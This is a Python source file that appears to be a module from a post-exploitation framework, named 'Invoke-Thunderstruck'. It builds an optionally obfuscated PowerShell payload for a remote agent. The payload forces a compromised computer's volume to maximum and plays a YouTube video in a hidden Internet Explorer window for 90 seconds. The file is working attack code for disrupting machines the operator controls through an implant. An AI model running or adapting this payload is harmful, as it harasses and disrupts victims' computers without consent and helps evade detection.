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from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Thunderstruck',
'Author': ['@obscuresec'],
'Description': ("Play's a hidden version of AC/DC's Thunderstruck video while "
"maxing out a computer's volume."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'VideoURL' : {
'Description' : 'Other YouTube video URL to play instead of Thunderstruck.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
Function Invoke-Thunderstruck
{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $False, Position = 0)]
[ValidateNotNullOrEmpty()]
[String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0"
)
Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}}
Set-Speaker -Volume 50
#Create hidden IE Com Object
$IEComObject = New-Object -com "InternetExplorer.Application"
$IEComObject.visible = $False
$IEComObject.navigate($VideoURL)
Start-Sleep -s 5
$EndTime = (Get-Date).addseconds(90)
# ghetto way to do this but it basically presses volume up to raise volume in a loop for 90 seconds
do {
$WscriptObject = New-Object -com wscript.shell
$WscriptObject.SendKeys([char]175)
}
until ((Get-Date) -gt $EndTime)
} Invoke-Thunderstruck"""
for option,values in self.options.iteritems():
if option.lower() != "agent" and option.lower() != "computername":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += "; 'Agent Thunderstruck.'"
if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script